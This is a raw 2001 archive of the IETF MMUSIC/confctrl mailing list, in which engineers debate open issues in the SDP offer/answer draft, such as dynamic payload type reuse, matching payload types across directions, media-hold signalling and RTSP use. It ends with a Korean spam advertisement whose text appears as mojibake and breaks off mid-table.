	for <confctrl@zephyr.isi.edu>; Wed, 19 Dec 2001 10:20:56 -0800 (PST)
Received: from mail1.dynamicsoft.com (mail1.dynamicsoft.com [63.113.40.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBJILhg24733;
	Wed, 19 Dec 2001 10:21:43 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id fBJIJUES018284;
	Wed, 19 Dec 2001 13:19:31 -0500 (EST)
Received: from dynamicsoft.com (POPE1 [63.113.46.82]) by DYN-EXCH-001.dynamicsoft.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id ZDFR1MSN; Wed, 19 Dec 2001 13:21:07 -0500
Message-ID: <3C20DA90.7070308@dynamicsoft.com>
Date: Wed, 19 Dec 2001 13:21:04 -0500
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1
X-Accept-Language: en-us
MIME-Version: 1.0
To: Colin Perkins <csp@ISI.EDU>
CC: mmusic@ietf.org, confctrl@ISI.EDU
Subject: Re: [MMUSIC] resolving open issues in offer/answer
References: <200112191528.fBJFS6f01833@purple.nge.isi.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Colin Perkins wrote:

> --> Jonathan Rosenberg writes:
>>ISSUE 4: synchronizing codec changes. The agreement at the meeting was
>>
> a 
> 
>>third proposal. Whenever you send a new offer with a set of codecs
>>
> which 
> 
>> is not the same as the previous, and overlaps in some way, you 
>>basically use a new dynamic PT for each codec. THis way, when the UA 
>>receives media with one of those new PT, it can unload any of the
>>
> codecs 
> 
>>which no longer overlap.
>>
>>Since the meeting, I have become worried about this. Basically, any 
>>useful reinvite will require new dynamic PT for all codecs. You could 
>>very well exhaust the set of dynamic PT, since there are so few (127 of
>>
> 
>>them).
>>
> 
> I don't see why this will be an issue, unless you have many (>64) codecs
> in
> use in a single session. Is that likely to be common?


Its not just the number of codecs; its the PRODUCT of the number of 
codecs and the number of re-invites.

Lets say I have four codecs, A, B, C and D, and each of them has a 
dynamic PT. Now, I do a re-invite to add E. In that re-INVITE, I assign 
NEW dynamic PT numbers to each of those existing four codecs, plus the 
new one. Thats five more dynamic PT. Now, if I re-invite once more, 
removing E, once again, I need to assign new PT to each of the remaining 
four. Thus, I have consumed 13 dynamic PT already.

-Jonathan R.




-- 
Jonathan D. Rosenberg, Ph.D.            72 Eagle Rock Avenue
Chief Scientist                         First Floor
dynamicsoft                             East Hanover, NJ 07936
jdrosen@dynamicsoft.com                 FAX: (973) 952-5050
http://www.jdrosen.net                  PH:  (973) 952-5000
http://www.dynamicsoft.com


From confctrl-owner  Wed Dec 19 11:12:19 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA15454
	for confctrl-outgoing; Wed, 19 Dec 2001 11:12:19 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA15449
	for <confctrl@zephyr.isi.edu>; Wed, 19 Dec 2001 11:12:18 -0800 (PST)
Received: from hafez.nge.isi.edu (hafez.nge.isi.edu [65.114.169.194])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBJJD6g18129
	for <confctrl@ISI.EDU>; Wed, 19 Dec 2001 11:13:07 -0800 (PST)
Received: from hafez (csp@localhost)
	by hafez.nge.isi.edu (8.11.6/8.11.6) with ESMTP id fBJJD3b06195;
	Wed, 19 Dec 2001 14:13:03 -0500
Message-Id: <200112191913.fBJJD3b06195@hafez.nge.isi.edu>
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
cc: mmusic@ietf.org, confctrl@ISI.EDU
Subject: Re: [MMUSIC] resolving open issues in offer/answer 
In-Reply-To: Your message of "Wed, 19 Dec 2001 13:21:04 EST."
             <3C20DA90.7070308@dynamicsoft.com> 
Date: Wed, 19 Dec 2001 14:13:03 -0500
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> Jonathan Rosenberg writes:
...
>Its not just the number of codecs; its the PRODUCT of the number of 
>codecs and the number of re-invites.
>
>Lets say I have four codecs, A, B, C and D, and each of them has a 
>dynamic PT. Now, I do a re-invite to add E. In that re-INVITE, I assign 
>NEW dynamic PT numbers to each of those existing four codecs, plus the 
>new one. Thats five more dynamic PT. Now, if I re-invite once more, 
>removing E, once again, I need to assign new PT to each of the remaining 
>four. Thus, I have consumed 13 dynamic PT already.

Why can't you re-use the old numbers? Aren't we just trying to avoid
confusion during the overlap period?

Colin

From confctrl-owner  Wed Dec 19 12:04:28 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id MAA17304
	for confctrl-outgoing; Wed, 19 Dec 2001 12:04:28 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA17299
	for <confctrl@zephyr.isi.edu>; Wed, 19 Dec 2001 12:04:27 -0800 (PST)
Received: from imr2.ericy.com (imr2.ericy.com [198.24.6.3])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBJK5Eg15944;
	Wed, 19 Dec 2001 12:05:15 -0800 (PST)
Received: from mr5.exu.ericsson.se (mr5att.ericy.com [138.85.224.141])
	by imr2.ericy.com (8.11.3/8.11.3) with ESMTP id fBJK59J14038;
	Wed, 19 Dec 2001 14:05:09 -0600 (CST)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.75.179])
	by mr5.exu.ericsson.se (8.11.3/8.11.3) with ESMTP id fBJK58C27656;
	Wed, 19 Dec 2001 14:05:08 -0600 (CST)
Received: from lmf.ericsson.se (rmt160197.am.ericsson.se [138.85.160.197]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id OAA26654; Wed, 19 Dec 2001 14:05:06 -0600 (CST)
Message-ID: <3C20F911.C3008400@lmf.ericsson.se>
Date: Wed, 19 Dec 2001 22:31:13 +0200
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
X-Mailer: Mozilla 4.79 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Colin Perkins <csp@ISI.EDU>
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, mmusic@ietf.org,
        confctrl@ISI.EDU
Subject: Re: [MMUSIC] resolving open issues in offer/answer
References: <200112191913.fBJJD3b06195@hafez.nge.isi.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

Colin Perkins wrote:
> 
> --> Jonathan Rosenberg writes:
> ...
> >Its not just the number of codecs; its the PRODUCT of the number of
> >codecs and the number of re-invites.
> >
> >Lets say I have four codecs, A, B, C and D, and each of them has a
> >dynamic PT. Now, I do a re-invite to add E. In that re-INVITE, I assign
> >NEW dynamic PT numbers to each of those existing four codecs, plus the
> >new one. Thats five more dynamic PT. Now, if I re-invite once more,
> >removing E, once again, I need to assign new PT to each of the remaining
> >four. Thus, I have consumed 13 dynamic PT already.
> 
> Why can't you re-use the old numbers? Aren't we just trying to avoid
> confusion during the overlap period?
> 

We have to avoid receiving RTP packets with different codecs with the
same PT. This can happen if we have several re-INVITEs in a short period
of time.

Under normal circumstances this would not be a problem, because you can
use RTP sequence numbers to determine after which packet the PT
identifies the new codec. However, if no RTP is being sent and there are
many re-INVITEs, this might be a problem.

Well, if no RTP is being sent, both UAs will have to rely on timers
anyway, which was what we were trying to avoid.

This might be a corner case that we do not want to worry about. In that
case we could go ahead reuse PTs.

Regards,

Gonzalo

From confctrl-owner  Wed Dec 19 12:43:19 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id MAA18696
	for confctrl-outgoing; Wed, 19 Dec 2001 12:43:19 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA18691
	for <confctrl@zephyr.isi.edu>; Wed, 19 Dec 2001 12:43:18 -0800 (PST)
Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBJKi6g05971
	for <confctrl@ISI.EDU>; Wed, 19 Dec 2001 12:44:07 -0800 (PST)
Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id fBJKhxs15050;
	Wed, 19 Dec 2001 12:44:00 -0800 (PST)
Message-ID: <3C20FC2B.57FF8E5A@cisco.com>
Date: Wed, 19 Dec 2001 15:44:28 -0500
From: Flemming Andreasen <fandreas@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.78 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: MMUSIC <confctrl@ISI.EDU>, mmusic@ietf.org
Subject: Why must PT be the same in send and receive direction ? 
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The offer/answer model is quite explicit in stating that the payload
type for a given codec MUST be the same in the send and receive
direction and hence the payload type mapping for codec X in MUST be the
same in the offer and answer. However, this can cause a great deal of
grief when interworking with H.323 based systems, since they can't
necessarily guarantee this property.

Now I can't think of a lot of reasons for the above offer/answer
restriction, except that it guarantees a proper interpretation of a
given payload type prior to receiving the actual answer to the offer.
Unless there is another good reason for the restriction, I would like to
propose, that we allow it to be relaxed, i.e. turn it into a SHOULD and
put in a proper note explaining what might happen if you don't follow
it.

Comments ?

Thanks

        Flemming

--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Wed Dec 19 13:58:49 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id NAA21417
	for confctrl-outgoing; Wed, 19 Dec 2001 13:58:49 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA21412
	for <confctrl@zephyr.isi.edu>; Wed, 19 Dec 2001 13:58:48 -0800 (PST)
Received: from mail1.dynamicsoft.com (mail1.dynamicsoft.com [63.113.40.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBJLxag18061
	for <confctrl@isi.edu>; Wed, 19 Dec 2001 13:59:36 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id fBJLvMES020480;
	Wed, 19 Dec 2001 16:57:22 -0500 (EST)
Received: from dynamicsoft.com (POPE1 [63.113.46.82]) by DYN-EXCH-001.dynamicsoft.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id ZDFR1NNJ; Wed, 19 Dec 2001 16:58:59 -0500
Message-ID: <3C210DA2.8020804@dynamicsoft.com>
Date: Wed, 19 Dec 2001 16:58:58 -0500
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1
X-Accept-Language: en-us
MIME-Version: 1.0
To: "Drage, Keith (Keith)" <drage@lucent.com>
CC: sip@ietf.org, mmusic@ietf.org, confctrl@ISI.EDU
Subject: Re: [Sip] Open Issue #150: too many ways of saying "don't send me media"
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Beyond Keiths objection at IETF52 to discussing this in the sip group at 
all (I have cc'd mmusic), consensus on this proposal at the meeting was 
that as long as there were well defined semantics for all of these, 
there is no reason to prevent someone from using them.

The semantics are:

c=0.0.0.0: will cease reception of RTP and RTCP, no longer the 
recommended way to do hold, has issues with SRTP keying, ipv6, 
connection oriented media, etc. Generally bad.

a=inactive/sendonly - stops only RTP

port 0: turns of media streams - safe to unload codecs, etc.

bw=0: will turn off reception of RTP and RTCP

Thanks,
Jonathan R.

Drage, Keith (Keith) wrote:

> Given that all SDP has now been removed from the bis draft, I am not sure
> how this remains a SIP WG open issue.
> 
> Surely this issue has now transferred to the MMUSIC documentation.
> 
> Keith
> 
> Keith Drage
> Lucent Technologies
> Tel: +44 1793 776249
> Email: drage@lucent.com
> 
> 
>>----------
>>From: 	Jonathan Rosenberg[SMTP:jdrosen@dynamicsoft.com]
>>Sent: 	06 December 2001 5:41
>>To: 	'sip@ietf.org'
>>Subject: 	[Sip] Open Issue #150: too many ways of saying "don't send
>>me media"
>>
>>Issue:
>>
>>There are a bunch of ways to say "don't send me media":
>>
>>c=0.0.0.0
>>a=inactive,sendonly
>>zero port
>>bw=0
>>
>>What do these all mean, and do we need them all?
>>
>>Discussion: We've agreed on most of this already. The only real issue is
>>to
>>say that bw=0 is never used. So, the proposal is:
>>
>>c=0.0.0.0          DEPRECATED
>>a=inactive,sendly  PREFERRED
>>zero port:         disables media stream
>>bw=0               DONT USE
>>
>>-Jonathan R.
>>---
>>Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
>>Chief Scientist                             First Floor
>>dynamicsoft                                 East Hanover, NJ 07936
>>jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
>>http://www.jdrosen.net                      PHONE: (973) 952-5000
>>http://www.dynamicsoft.com
>> 
>>
>>_______________________________________________
>>Sip mailing list  http://www1.ietf.org/mailman/listinfo/sip
>>This list is for NEW development of the core SIP Protocol
>>Use sip-implementors@cs.columbia.edu for questions on current sip
>>Use sipping@ietf.org for new developments on the application of sip
>>
> 


-- 
Jonathan D. Rosenberg, Ph.D.            72 Eagle Rock Avenue
Chief Scientist                         First Floor
dynamicsoft                             East Hanover, NJ 07936
jdrosen@dynamicsoft.com                 FAX: (973) 952-5050
http://www.jdrosen.net                  PH:  (973) 952-5000
http://www.dynamicsoft.com


From confctrl-owner  Wed Dec 19 17:39:27 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id RAA00254
	for confctrl-outgoing; Wed, 19 Dec 2001 17:39:27 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA00248
	for <confctrl@zephyr.isi.edu>; Wed, 19 Dec 2001 17:39:26 -0800 (PST)
Received: from mail1.dynamicsoft.com (mail1.dynamicsoft.com [63.113.40.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBK1eEg23502
	for <confctrl@isi.edu>; Wed, 19 Dec 2001 17:40:14 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id fBK1bsES021571;
	Wed, 19 Dec 2001 20:37:54 -0500 (EST)
Received: from dynamicsoft.com (POPE1 [63.113.46.82]) by DYN-EXCH-001.dynamicsoft.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id ZDFR1N6C; Wed, 19 Dec 2001 20:39:29 -0500
Message-ID: <3C214151.8080706@dynamicsoft.com>
Date: Wed, 19 Dec 2001 20:39:29 -0500
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1
X-Accept-Language: en-us
MIME-Version: 1.0
To: Flemming Andreasen <fandreas@cisco.com>
CC: MMUSIC <confctrl@ISI.EDU>, mmusic@ietf.org
Subject: Re: [MMUSIC] Why must PT be the same in send and receive direction ?
References: <3C20FC2B.57FF8E5A@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Flemming Andreasen wrote:

> The offer/answer model is quite explicit in stating that the payload
> type for a given codec MUST be the same in the send and receive
> direction and hence the payload type mapping for codec X in MUST be the
> same in the offer and answer. However, this can cause a great deal of
> grief when interworking with H.323 based systems, since they can't
> necessarily guarantee this property.
> 
> Now I can't think of a lot of reasons for the above offer/answer
> restriction, except that it guarantees a proper interpretation of a
> given payload type prior to receiving the actual answer to the offer.


Well, thats a good one. You are guaranteed to have media clipping 
without this feature.

It also makes it easy for the offerer to determine, from the answer, the 
matching of codecs in the offer to the answer. Its a simple numeric 
comparison. Without the same PT numbers, you need to do a 
canonicalization based on the actual codec and parameters. Even minor 
inconsistencies in the construction of the rtpmaps in the answer can 
cause confusion about which codec is which.

Its also consistent with multicast operation.

Overall, I think its just simpler.


> Unless there is another good reason for the restriction, I would like to
> propose, that we allow it to be relaxed, i.e. turn it into a SHOULD and
> put in a proper note explaining what might happen if you don't follow
> it.


Well, this turns into an interop nightmare for sip. We will have a 
complete interop failure if a new UA generates an answer with different 
payload types.

This text has also been in there for a very long time. How come no one 
complained about this H.323 issue before? Its the first I've heard of it.

-Jonathan R.



-- 
Jonathan D. Rosenberg, Ph.D.            72 Eagle Rock Avenue
Chief Scientist                         First Floor
dynamicsoft                             East Hanover, NJ 07936
jdrosen@dynamicsoft.com                 FAX: (973) 952-5050
http://www.jdrosen.net                  PH:  (973) 952-5000
http://www.dynamicsoft.com


From confctrl-owner  Wed Dec 19 17:46:34 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id RAA00593
	for confctrl-outgoing; Wed, 19 Dec 2001 17:46:34 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA00586
	for <confctrl@zephyr.isi.edu>; Wed, 19 Dec 2001 17:46:33 -0800 (PST)
Received: from radvpost.us.radvision.com ([38.150.216.6])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBK1lMg26164
	for <confctrl@ISI.EDU>; Wed, 19 Dec 2001 17:47:22 -0800 (PST)
Received: by RADVPOST with Internet Mail Service (5.5.2650.21)
	id <ZAQ542JL>; Wed, 19 Dec 2001 20:45:57 -0500
Message-ID: <0D5BBF5D638DD4119E3400508BD949459ED792@RADVPOST>
From: Orit Levin <orit@radvision.com>
To: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>, mmusic@ietf.org,
        confctrl@ISI.EDU
Subject: ISSUES 5, 3 (and a new one) in offer/answer
Date: Wed, 19 Dec 2001 20:45:46 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



ISSUE 5: Unidirectional codecs in a bidirectional stream. Consensus was 
to disallow this in the baseline offer/answer. Thats what FID is for.
Anything else is a hack.

If we decided to refer to the draft-ietf-mmusic-fid-05.txt draft, I would do
it as fully and precise as possible to avoid future questions:
"In case the offerer needs to express a single m-line semantics (as defined
by this document) with the only exception that some of the attributes (such
as a direction) differ per CODEC, the group attribute with FID semantics (as
specified in draft-ietf-mmusic-fid-05.txt) MUST be used."

ISSUE 3: Multiple streams of the same type. See the slides for the 
issue. My proposal was accepted, with the caveat that we would add 
wording to clarify that the default operation is NOT to copy media from 
your own local sinks to sources, unless you happen to be a conference 
server.

I agree with the resolution and (if I understood it correctly) the following
may summarize it:
"Both the offerer and the answerer MUST use all the media streams that they
have accepted. The actual usage is defined by the application itself. By
default, this document doesn't define application specific association among
separate media streams. Common cases for such associations MAY be
standardized and expressed by using the group attribute as specified in the
draft-ietf-mmusic-fid-05.txt."

AN ADDITIONAL ISSUE:
I feel that I am throwing a small bomb here, but it justifies the (backwards
compatibility) purpose. 
If with time the draft-ietf-mmusic-fid-05.txt technique becomes commonly
implemented, I suggest that the authors and the implementers consider a
specification and support allowing for the sessions with the group+mid
attributes in use, receiving a subset of m-lines only, assuming that the
rest is unchanged. The draft-ietf-mmusic-fid-05.txt already has the
following statement:
"All the "m" lines of a session description that uses "group" MUST be
identified with an "mid" attribute whether they appear in the group line(s)
or not."
Based on that, if sometime in future the semantics for partial Offer-Answer
is introduced (because of the MTU size or bandwidth considerations) the
backwards compatibility would be in place already! Please, note, that it
doesn't affect the baseline mandatory Offer-Answer model.

Orit Levin
Chief Architect
RADVISION Inc.
TEL: +1.201.529.4300 x 230
FAX: +1.201.529.3516



From confctrl-owner  Thu Dec 20 05:16:06 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id FAA23633
	for confctrl-outgoing; Thu, 20 Dec 2001 05:16:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA23628
	for <confctrl@zephyr.isi.edu>; Thu, 20 Dec 2001 05:16:05 -0800 (PST)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBKDGrg27482
	for <confctrl@ISI.EDU>; Thu, 20 Dec 2001 05:16:53 -0800 (PST)
Received: from era-t.ericsson.se (koff.ericsson.se [147.214.173.137])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fBKDGnJ09604;
	Thu, 20 Dec 2001 14:16:49 +0100 (MET)
Received: from era.ericsson.se by era-t.ericsson.se (SMI-8.6/LME-DOM-2.2.5(ERA/T))
	id OAA18624; Thu, 20 Dec 2001 14:16:49 +0100
Message-ID: <3C21E4C1.7FF7389F@era.ericsson.se>
Date: Thu, 20 Dec 2001 14:16:49 +0100
From: Magnus Westerlund <magnus.westerlund@era.ericsson.se>
X-Mailer: Mozilla 4.78 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: IETF MMUSIC WG <confctrl@ISI.EDU>, mmusic@ietf.org
Subject: Using Offer/Answer SDP model in RTSP?
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

I have been considering a change to RTSP that would allow the
transportation of SDP messages in the RTSP method SETUP. This would make
it possible to have the client make selection from alternatives received
in the SDP from DESCRIBE. As this seem to be a offer/answer exchange I
have looked at draft-rosenberg-mmusic-sdp-offer-answer-00.txt. I have
spotted a least one thing preventing RTSP from using it. That is the how
a media line with port 0 shall be interpreted. In RTSP a medialine port
0 says that the server has no preference on what port number the client
shall use. The actual exchange of port numbers are made in the SETUP
message's transport header. The offer/answer draft says that a medialine
with port 0 should not be used.

So how do you see the possibilities to use offer/answer for such a
mechanism? What changes are in that case need in the offer/answer draft?

Regards

Magnus Westerlund

Audio Technology, Ericsson Research
----------------------------------------------------------------------
Ericsson Radio Systems AB  | Phone +46 8 4048287
Torshamsgatan 23           | Fax   +46 8 7575550
S-164 80 Stockholm, Sweden | mailto: magnus.westerlund@era-t.ericsson.se




From confctrl-owner  Thu Dec 20 05:16:36 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id FAA23649
	for confctrl-outgoing; Thu, 20 Dec 2001 05:16:36 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA23644
	for <confctrl@zephyr.isi.edu>; Thu, 20 Dec 2001 05:16:35 -0800 (PST)
Received: from hellotel.co.kr ([61.99.120.2])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id fBKDHLg27509
	for <confctrl@isi.edu>; Thu, 20 Dec 2001 05:17:22 -0800 (PST)
Received: from IMAS Messaging Application Server 2.0(61.99.120.2) by hellotel.co.kr(<pe20011220221611125-88444>);
	Thu, 20 Dec 2001 22:16:11 +0900
Message-ID: <20011220221611.196346915@super>
From: "Çï·Î¿ìÅÚ" <pao@hellotel.co.kr>
To: "confctrl@isi.edu" <confctrl@ISI.EDU>
Subject: [±¤ °í] ¹«·áÀüÈ­¹øÈ£ µî·Ï, ¹«Á¦ÇÑ ÅëÈ­
Date: Thu, 20 Dec 2001 22:16:11 +0900
MIME-Version: 1.0
Content-Type: text/html; charset=euc-kr
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


<html>
<head>
<title>ÀÎÅÍ³Ý ¹«·á ÀüÈ­¹øÈ£ µî·Ï°ú ÃÖÀú°¡ ÀüÈ­±â ÆǸŠÀ̺¥Æ® !</title>
<meta http-equiv="Content-Type" content="text/html; charset=euc-kr">
<style type="text/css">
<!--
.font {  font-family: "±¼¸²"; font-size: 9pt; color: #333333}
-->
</style>
</head>

<BODY text=#000000 bgColor=#ffffff leftMargin=0 topMargin=0 marginheight="0" 
marginwidth="0">
<TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=0 width=650 
align=center borderColorLight=#000000 border=1>
  <TBODY>
  <TR>
    <TD class=font align=middle bgColor=#efefef>
      <TABLE cellSpacing=0 cellPadding=0 width=650 bgColor=#ffffff border=0>
        <TBODY>
        <TR>
          <TD><IMG height=65 
            src="http://www.hellotel.co.kr/hellotelmail/image/top1.jpg" 
            width=205 border=0></TD>
          <TD><IMG height=65 
            src="http://www.hellotel.co.kr/hellotelmail/image/top2.gif" 
            width=214 border=0></TD>
          <TD><IMG height=65 
            src="http://www.hellotel.co.kr/hellotelmail/image/top3.gif" 
            width=231 border=0></TD></TR>
        <TR>
          <TD><IMG height=67 
            src="http://www.hellotel.co.kr/hellotelmail/image/top4.jpg" 
            width=205 border=0></TD>
          <TD><IMG height=67 
            src="http://www.hellotel.co.kr/hellotelmail/image/top5.gif" 
            width=214 border=0></TD>
          <TD><IMG height=67 
            src="http://www.hellotel.co.kr/hellotelmail/image/top6.gif" 
            width=231 border=0></TD></TR>
        <TR align=middle>
          <TD class=font colSpan=3 height=60>ÀúÈñ Çï·Î¿ìÅÚÀ» ÀÌ¿ëÇÏ¿© ¿¹¾à°¡ÀÔÀ» ÇϽŠ°í°´´Ôµé¿¡°Ô °¨»çÀÇ 
            ¸¶À½À» ÀüÇÏ°íÀÚ<BR>ÀÎÅͳݿë USB PHONEÀ» ¼±Âø¼ø ¸¸¸í¿¡ ÇÑÇÏ¿© ÃÖÀú°¡¿¡ µå¸³´Ï´Ù.</TD></TR>
        <TR align=middle>
          <TD class=font colSpan=3 height=60><A 
            href="http://www.hellotel.co.kr/" target=_blank><IMG height=125 
            src="http://www.hellotel.co.kr/hellotelmail/image/event1.gif" 
            width=161 border=0><IMG height=125 
            src="http://www.hellotel.co.kr/hellotelmail/image/event2.gif" 
            width=162 border=0><IMG height=125 
            src="http://www.hellotel.co.kr/hellotelmail/image/event3.gif" 
            width=164 border=0><IMG height=125 
            src="http://www.hellotel.co.kr/hellotelmail/image/event4.gif" 
            width=163 border=0></A></TD></TR></TBODY></TABLE><BR>
      <TABLE cellSpacing=0 cellPadding=0 width=650 bgColor=#ffffff border=0>
        <TBODY>
        <TR bgColor=#000000>
          <TD colSpan=3 height=1>
            <DIV align=center></DIV></TD></TR>
        <TR>
          <TD vAlign=top align=middle width=200><BR><A 
            href="http://www.hellotel.co.kr/" target=_blank><IMG height=233 
            src="http://www.hellotel.co.kr/hellotelmail/image/goods.gif" 
            width=190 border=0></A></TD>
          <TD width=1 bgColor=#000000>
            <DIV align=center></DIV></TD>
          <TD vAlign=top width=430>
            <TABLE class=font cellSpacing=0 cellPadding=0 width=430 border=0>
              <TBODY>
              <TR>
                <TD><IMG height=21 
                  src="http://www.hellotel.co.kr/hellotelmail/image/ttl1.gif" 
                  width=286 border=0></TD></TR>
              <TR>
                <TD height=60>&nbsp;&nbsp;- ±âÁ¸ÀÇ ÀÏ¹Ý ÀüÈ­¹ø·Î¸¦ ±×´ë·Î »ç¿ëÇÏ½Ç ¼ö 
                  ÀÖ½À´Ï´Ù.<BR>&nbsp;&nbsp;- USB ÀÎÅÍÆäÀ̽º·Î PLUG &amp; PLAY¸¦ Áö¿øÇϹǷΠ¼³Ä¡ ¹× 
                  »ç¿ëÀÌ °£Æí</TD></TR>
              <TR>
                <TD height=20><IMG height=21 
                  src="http://www.hellotel.co.kr/hellotelmail/image/ttl2.gif" 
                  width=286 border=0></TD></TR>
              <TR>
                <TD height=60>&nbsp;&nbsp;- »ç¿îµå Ä«µå¸¦ ³»ÀåÇÏ¿© ÃÖ»óÀÇ ÅëÈ­ À½Áú·Î ÀÎÅͳÝÀüÈ­ 
                  °¡´É<BR>&nbsp;&nbsp;- ÅëÈ­Áö¿¬À̳ª ²÷±è, ¿¡ÄÚÇö»ó,ÀâÀ½ÀÌ °ÅÀÇ ÀÏ¹Ý À¯¼±ÀüÈ­ ¼öÁØ</TD></TR>
              <TR>
                <TD><IMG height=21 
                  src="http://www.hellotel.co.kr/hellotelmail/image/ttl3.gif" 
                  width=286 border=0></TD></TR>
              <TR>
                <TD height=80>&nbsp;&nbsp;- ±âº»·á ¿ù 4,000¿øÀ¸·Î ¿¬ÀÎ,Ä£±¸,°¡Á·,µ¿È£È¸¿ø°£ ¹«Á¦ÇÑ 
